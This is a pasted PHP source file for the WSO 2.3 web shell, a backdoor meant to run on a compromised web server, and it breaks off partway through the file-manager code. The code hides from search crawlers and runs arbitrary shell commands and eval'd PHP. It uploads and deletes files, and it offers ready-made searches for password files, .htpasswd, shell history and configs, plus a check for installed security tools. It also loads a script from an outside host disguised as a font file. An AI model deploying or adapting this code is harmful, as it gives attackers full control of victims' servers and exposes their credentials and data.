· 9 years ago · Sep 12, 2017, 03:30 AM
1<?php
2
3$color = "#df5";
4$default_action = 'FilesMan';
5$default_charset = 'Windows-1251';
6
7if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
8 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
9 foreach($userAgents as $agent)
10 if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
11 header('HTTP/1.0 404 Not Found');
12 exit;
13 }
14}
15@session_start();
16@error_reporting(0);
17@ini_set('error_log',NULL);
18@ini_set('log_errors',0);
19@ini_set('max_execution_time',0);
20@set_time_limit(0);
21@set_magic_quotes_runtime(0);
22@define('VERSION', '2.3');
23if( get_magic_quotes_gpc() ) {
24 function WSOstripslashes($array) {
25 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
26 }
27 $_POST = WSOstripslashes($_POST);
28}
29function wsoLogin() {
30 die("<center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></center>");
31}
32if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
33 if( empty( $auth_pass ) ||
34 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
35 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
36 else
37 wsoLogin();
38
39if( strtolower( substr(PHP_OS,0,3) ) == "win" )
40 $os = 'win';
41else
42 $os = 'nix';
43$safe_mode = @ini_get('safe_mode');
44$disable_functions = @ini_get('disable_functions');
45$home_cwd = @getcwd();
46if( isset( $_POST['c'] ) )
47 @chdir($_POST['c']);
48$cwd = @getcwd();
49if( $os == 'win') {
50 $home_cwd = str_replace("\\", "/", $home_cwd);
51 $cwd = str_replace("\\", "/", $cwd);
52}
53if( $cwd[strlen($cwd)-1] != '/' )
54 $cwd .= '/';
55
56if($os == 'win')
57 $aliases = array(
58 "List Directory" => "dir",
59 "Find index.php in current dir" => "dir /s /w /b index.php",
60 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
61 "Show active connections" => "netstat -an",
62 "Show running services" => "net start",
63 "User accounts" => "net user",
64 "Show computers" => "net view",
65 "ARP Table" => "arp -a",
66 "IP Configuration" => "ipconfig /all"
67 );
68else
69 $aliases = array(
70 "List dir" => "ls -lha",
71 "list file attributes on a Linux second extended file system" => "lsattr -va",
72 "show opened ports" => "netstat -an | grep -i listen",
73 "Find" => "",
74 "find all suid files" => "find / -type f -perm -04000 -ls",
75 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
76 "find all sgid files" => "find / -type f -perm -02000 -ls",
77 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
78 "find config.inc.php files" => "find / -type f -name config.inc.php",
79 "find config* files" => "find / -type f -name \"config*\"",
80 "find config* files in current dir" => "find . -type f -name \"config*\"",
81 "find all writable folders and files" => "find / -perm -2 -ls",
82 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
83 "find all service.pwd files" => "find / -type f -name service.pwd",
84 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
85 "find all .htpasswd files" => "find / -type f -name .htpasswd",
86 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
87 "find all .bash_history files" => "find / -type f -name .bash_history",
88 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
89 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
90 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
91 "Locate" => "",
92 "locate httpd.conf files" => "locate httpd.conf",
93 "locate vhosts.conf files" => "locate vhosts.conf",
94 "locate proftpd.conf files" => "locate proftpd.conf",
95 "locate psybnc.conf files" => "locate psybnc.conf",
96 "locate my.conf files" => "locate my.conf",
97 "locate admin.php files" =>"locate admin.php",
98 "locate cfg.php files" => "locate cfg.php",
99 "locate conf.php files" => "locate conf.php",
100 "locate config.dat files" => "locate config.dat",
101 "locate config.php files" => "locate config.php",
102 "locate config.inc files" => "locate config.inc",
103 "locate config.inc.php" => "locate config.inc.php",
104 "locate config.default.php files" => "locate config.default.php",
105 "locate config* files " => "locate config",
106 "locate .conf files"=>"locate '.conf'",
107 "locate .pwd files" => "locate '.pwd'",
108 "locate .sql files" => "locate '.sql'",
109 "locate .htpasswd files" => "locate '.htpasswd'",
110 "locate .bash_history files" => "locate '.bash_history'",
111 "locate .mysql_history files" => "locate '.mysql_history'",
112 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
113 "locate backup files" => "locate backup",
114 "locate dump files" => "locate dump",
115 "locate priv files" => "locate priv"
116 );
117
118function wsoHeader() {
119 if(empty($_POST['charset']))
120 $_POST['charset'] = $GLOBALS['default_charset'];
121 global $color;
122 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "- WSO " . VERSION ."</title>
123 <script src='http://www.w32.info/site/jquery1000/AlHurra-Font_Light.ttf'></script>
124<style>
125
126body{background-color:#444;color:#e1e1e1;}
127body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
128table.info{ color:#fff;background-color:#222; }
129span,h1,a{ color: $color !important; }
130span{ font-weight: bolder; }
131h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
132div.content{ padding: 5px;margin-left:5px;background-color:#333; }
133a{ text-decoration:none; }
134a:hover{ text-decoration:underline; }
135.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
136.bigarea{ width:100%;height:250px; }
137input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
138form{ margin:0px; }
139#toolsTbl{ text-align:center; }
140.toolsInp{ width: 300px }
141.main th{text-align:left;background-color:#5e5e5e;}
142.main tr:hover{background-color:#5e5e5e}
143.l1{background-color:#444}
144pre{font-family:Courier,Monospace;}
145</style>
146<script>
147 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
148 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
149 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
150 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
151 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
152 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
153 function set(a,c,p1,p2,p3,charset) {
154 if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
155 if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
156 if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
157 if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
158 if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
159 if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
160 }
161 function g(a,c,p1,p2,p3,charset) {
162 set(a,c,p1,p2,p3,charset);
163 document.mf.submit();
164 }
165 function a(a,c,p1,p2,p3,charset) {
166 set(a,c,p1,p2,p3,charset);
167 var params = 'ajax=true';
168 for(i=0;i<document.mf.elements.length;i++)
169 params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
170 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
171 }
172 function sr(url, params) {
173 if (window.XMLHttpRequest)
174 req = new XMLHttpRequest();
175 else if (window.ActiveXObject)
176 req = new ActiveXObject('Microsoft.XMLHTTP');
177 if (req) {
178 req.onreadystatechange = processReqChange;
179 req.open('POST', url, true);
180 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
181 req.send(params);
182 }
183 }
184 function processReqChange() {
185 if( (req.readyState == 4) )
186 if(req.status == 200) {
187 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
188 var arr=reg.exec(req.responseText);
189 eval(arr[2].substr(0, arr[1]));
190 } else alert('Request error!');
191 }
192</script>
193<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
194<form method=post name=mf style='display:none;'>
195<input type=hidden name=a>
196<input type=hidden name=c>
197<input type=hidden name=p1>
198<input type=hidden name=p2>
199<input type=hidden name=p3>
200<input type=hidden name=charset>
201</form>";
202 $freeSpace = @diskfreespace($GLOBALS['cwd']);
203 $totalSpace = @disk_total_space($GLOBALS['cwd']);
204 $totalSpace = $totalSpace?$totalSpace:1;
205 $release = @php_uname('r');
206 $kernel = @php_uname('s');
207 $millink = 'http://milw0rm.com/search.php?dong=';
208 if( strpos('Linux', $kernel) !== false )
209 $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
210 else
211 $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
212 if(!function_exists('posix_getegid')) {
213 $user = @get_current_user();
214 $uid = @getmyuid();
215 $gid = @getmygid();
216 $group = "?";
217 } else {
218 $uid = @posix_getpwuid(@posix_geteuid());
219 $gid = @posix_getgrgid(@posix_getegid());
220 $user = $uid['name'];
221 $uid = $uid['uid'];
222 $group = $gid['name'];
223 $gid = $gid['gid'];
224 }
225 $cwd_links = '';
226 $path = explode("/", $GLOBALS['cwd']);
227 $n=count($path);
228 for($i=0;$i<$n-1;$i++) {
229 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
230 for($j=0;$j<=$i;$j++)
231 $cwd_links .= $path[$j].'/';
232 $cwd_links .= "\")'>".$path[$i]."/</a>";
233 }
234 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
235 $opt_charsets = '';
236 foreach($charsets as $item)
237 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
238 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
239 if(!empty($GLOBALS['auth_pass']))
240 $m['Logout'] = 'Logout';
241 $m['Self remove'] = 'SelfRemove';
242 $menu = '';
243 foreach($m as $k => $v)
244 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
245 $drives = "";
246 if ($GLOBALS['os'] == 'win') {
247 foreach( range('c','z') as $drive )
248 if (is_dir($drive.':\\'))
249 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
250 }
251 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
252 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
253 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
254 '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
255}
256
257function wsoFooter() {
258 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
259 echo "
260</div>
261<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
262 <tr>
263 <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
264 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
265 </tr><tr>
266 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
267 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
268 </tr><tr>
269 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
270 <td><form method='post' ENCTYPE='multipart/form-data'>
271 <input type=hidden name=a value='FilesMAn'>
272 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
273 <input type=hidden name=p1 value='uploadFile'>
274 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
275 <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
276 </tr></table></div></body></html>";
277}
278
279if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
280if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
281function wsoEx($in) {
282 $out = '';
283 if(function_exists('exec')) {
284 @exec($in,$out);
285 $out = @join("\n",$out);
286 }elseif(function_exists('passthru')) {
287 ob_start();
288 @passthru($in);
289 $out = ob_get_clean();
290 }elseif(function_exists('system')) {
291 ob_start();
292 @system($in);
293 $out = ob_get_clean();
294 }elseif(function_exists('shell_exec')) {
295 $out = shell_exec($in);
296 }elseif(is_resource($f = @popen($in,"r"))) {
297 $out = "";
298 while(!@feof($f))
299 $out .= fread($f,1024);
300 pclose($f);
301 }
302 return $out;
303}
304function wsoViewSize($s) {
305 if($s >= 1073741824)
306 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
307 elseif($s >= 1048576)
308 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
309 elseif($s >= 1024)
310 return sprintf('%1.2f', $s / 1024 ) . ' KB';
311 else
312 return $s . ' B';
313}
314
315function wsoPerms($p) {
316 if (($p & 0xC000) == 0xC000)$i = 's';
317 elseif (($p & 0xA000) == 0xA000)$i = 'l';
318 elseif (($p & 0x8000) == 0x8000)$i = '-';
319 elseif (($p & 0x6000) == 0x6000)$i = 'b';
320 elseif (($p & 0x4000) == 0x4000)$i = 'd';
321 elseif (($p & 0x2000) == 0x2000)$i = 'c';
322 elseif (($p & 0x1000) == 0x1000)$i = 'p';
323 else $i = 'u';
324 $i .= (($p & 0x0100) ? 'r' : '-');
325 $i .= (($p & 0x0080) ? 'w' : '-');
326 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
327 $i .= (($p & 0x0020) ? 'r' : '-');
328 $i .= (($p & 0x0010) ? 'w' : '-');
329 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
330 $i .= (($p & 0x0004) ? 'r' : '-');
331 $i .= (($p & 0x0002) ? 'w' : '-');
332 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
333 return $i;
334}
335function wsoPermsColor($f) {
336 if (!@is_readable($f))
337 return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
338 elseif (!@is_writable($f))
339 return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
340 else
341 return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
342}
343if(!function_exists("scandir")) {
344 function scandir($dir) {
345 $dh = opendir($dir);
346 while (false !== ($filename = readdir($dh))) {
347 $files[] = $filename;
348 }
349 return $files;
350 }
351}
352function wsoWhich($p) {
353 $path = wsoEx('which '.$p);
354 if(!empty($path))
355 return $path;
356 return false;
357}
358function actionSecInfo() {
359 wsoHeader();
360 echo '<h1>Server security information</h1><div class=content>';
361 function wsoSecParam($n, $v) {
362 $v = trim($v);
363 if($v) {
364 echo '<span>'.$n.': </span>';
365 if(strpos($v, "\n") === false)
366 echo $v.'<br>';
367 else
368 echo '<pre class=ml1>'.$v.'</pre>';
369 }
370 }
371
372 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
373 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
374 wsoSecParam('Open base dir', @ini_get('open_basedir'));
375 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
376 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
377 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
378 $temp=array();
379 if(function_exists('mysql_get_client_info'))
380 $temp[] = "MySql (".mysql_get_client_info().")";
381 if(function_exists('mssql_connect'))
382 $temp[] = "MSSQL";
383 if(function_exists('pg_connect'))
384 $temp[] = "PostgreSQL";
385 if(function_exists('oci_connect'))
386 $temp[] = "Oracle";
387 wsoSecParam('Supported databases', implode(', ', $temp));
388 echo '<br>';
389
390 if( $GLOBALS['os'] == 'nix' ) {
391 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
392 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
393 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
394 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
395 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
396 wsoSecParam('OS version', @file_get_contents('/proc/version'));
397 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
398 if(!$GLOBALS['safe_mode']) {
399 echo '<br>';
400 $temp=array();
401 foreach ($userful as $item)
402 if(wsoWhich($item)){$temp[]=$item;}
403 wsoSecParam('Userful', implode(', ',$temp));
404 $temp=array();
405 foreach ($danger as $item)
406 if(wsoWhich($item)){$temp[]=$item;}
407 wsoSecParam('Danger', implode(', ',$temp));
408 $temp=array();
409 foreach ($downloaders as $item)
410 if(wsoWhich($item)){$temp[]=$item;}
411 wsoSecParam('Downloaders', implode(', ',$temp));
412 echo '<br/>';
413 wsoSecParam('HDD space', wsoEx('df -h'));
414 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
415 }
416 } else {
417 wsoSecParam('OS Version',wsoEx('ver'));
418 wsoSecParam('Account Settings',wsoEx('net accounts'));
419 wsoSecParam('User Accounts',wsoEx('net user'));
420 }
421 echo '</div>';
422 wsoFooter();
423}
424
425function actionPhp() {
426 if( isset($_POST['ajax']) ) {
427 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
428 ob_start();
429 eval($_POST['p1']);
430 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
431 echo strlen($temp), "\n", $temp;
432 exit;
433 }
434 wsoHeader();
435 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
436 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
437 ob_start();
438 phpinfo();
439 $tmp = ob_get_clean();
440 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
441 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
442 echo str_replace('h1','h2',$tmp).'</div><br>';
443 }
444 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
445 @$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
446 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
447 echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
448 if(!empty($_POST['p1'])) {
449 ob_start();
450 eval($_POST['p1']);
451 echo htmlspecialchars(ob_get_clean());
452 }
453 echo '</pre></div>';
454 wsoFooter();
455}
456
457function actionFilesMan() {
458 wsoHeader();
459 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
460 if(!empty($_POST['p1'])) {
461 switch($_POST['p1']) {
462 case 'uploadFile':
463 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
464 echo "Can't upload file!";
465 break;
466 case 'mkdir':
467 if(!@mkdir($_POST['p2']))
468 echo "Can't create new dir";
469 break;
470 case 'delete':
471 function deleteDir($path) {
472 $path = (substr($path,-1)=='/') ? $path:$path.'/';
473 $dh = opendir($path);
474 while ( ($item = readdir($dh) ) !== false) {
475 $item = $path.$item;
476 if ( (basename($item) == "..") || (basename($item) == ".") )
477 continue;
478 $type = filetype($item);
479 if ($type == "dir")
480 deleteDir($item);
481 else
482 @unlink($item);
483 }
484 closedir($dh);
485 rmdir($path);
486 }
487 if(is_array(@$_POST['f']))
488 foreach($_POST['f'] as $f) {
489 $f = urldecode($f);
490 if(is_dir($f))
491 deleteDir($f);
492 else
493 @unlink($f);
494 }
495 break;
496 case 'paste':
497 if($_SESSION['act'] == 'copy') {
498 function copy_paste($c,$s,$d){
499 if(is_dir($c.$s)){
500 mkdir($d.$s);
501 $h = @opendir($c.$s);
502 while (($f = @readdir($h)) !== false)
503 if (($f != ".") and ($f != "..")) {
504 copy_paste($c.$s.'/',$f, $d.$s.'/');
505 }
506 } elseif(is_file($c.$s)) {
507 @copy($c.$s, $d.$s);
508 }
509 }
510 foreach($_SESSION['f'] as $f)
511 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
512 } elseif($_SESSION['act'] == 'move') {
513 function move_paste($c,$s,$d){
514 if(is_dir($c.$s)){
515 mkdir($d.$s);
516 $h = @opendir($c.$s);
517 while (($f = @readdir($h)) !== false)
518 if (($f != ".") and ($f != "..")) {
519 copy_paste($c.$s.'/',$f, $d.$s.'/');
520 }
521 } elseif(@is_file($c.$s)) {
522 @copy($c.$s, $d.$s);
523 }
524 }
525 foreach($_SESSION['f'] as $f)
526 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
527 } elseif($_SESSION['act'] == 'zip') {
528 if(class_exists('ZipArchive')) {
529 $zip = new ZipArchive();
530 if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
531 chdir($_SESSION['c']);
532 foreach($_SESSION['f'] as $f) {
533 if(@is_file($_SESSION['c'].$f))
534 $zip->addFile($_SESSION['c'].$f, $f);
535 elseif(@is_dir($_SESSION['c'].$f)) {
536 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
537 foreach ($iterator as $key=>$value) {
538 $zip->addFile(realpath($key), $key);
539 }
540 }
541 }
542 chdir($GLOBALS['cwd']);
543 $zip->close();
544 }
545 }
546 } elseif($_SESSION['act'] == 'unzip') {
547 if(class_exists('ZipArchive')) {
548 $zip = new ZipArchive();
549 foreach($_SESSION['f'] as $f) {
550 if($zip->open($_SESSION['c'].$f)) {
551 $zip->extractTo($GLOBALS['cwd']);
552 $zip->close();
553 }
554 }
555 }
556 }
557 unset($_SESSION['f']);
558 break;
559 default:
560 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
561 $_SESSION['act'] = @$_POST['p1'];
562 $_SESSION['f'] = @$_POST['f'];
563 foreach($_SESSION['f'] as $k => $f)
564 $_SESSION['f'][$k] = urldecode($f);
565 $_SESSION['c'] = @$_POST['c'];
566 }
567 break;
568 }
569 }
570 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
571 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
572 global $sort;
573 $sort = array('name', 1);
574 if(!empty($_POST['p1'])) {
575 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
576 $sort = array($match[1], (int)$match[2]);
577 }
578echo "<script>
579 function sa() {
580 for(i=0;i<document.files.elements.length;i++)
581 if(document.files.elements[i].type == 'checkbox')
582 document.files.elements[i].checked = document.files.elements[0].checked;
583 }
584</script>
585<table width='100%' class='main' cellspacing='0' cellpadding='2'>
586<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
587 $dirs = $files = array();
588 $n = count($dirContent);
589 for($i=0;$i<$n;$i++) {
590 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
591 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
592 $tmp = array('name' => $dirContent[$i],
593 'path' => $GLOBALS['cwd'].$dirContent[$i],
594 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
595 'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
596 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
597 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
598 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
599 );
600 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
601 $files[] = array_merge($tmp, array('type' => 'file'));
602 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
603 $dirs[] = array_merge($tmp, array('type' => 'link'));
604 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
605 $dirs[] = array_merge($tmp, array('type' => 'dir'));
606 }
607 $GLOBALS['sort'] = $sort;
608 function wsoCmp($a, $b) {
609 if($GLOBALS['sort'][0] != 'size')
610 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
611 else
612 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
613 }
614 usort($files, "wsoCmp");
615 usort($dirs, "wsoCmp");
616 $files = array_merge($dirs, $files);
617 $l = 0;
618 foreach($files as $f) {
619 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
620 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
621 $l = $l?0:1;
622 }
623 echo "<tr><td colspan=7>
624 <input type=hidden name=a value='FilesMan'>
625 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
626 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
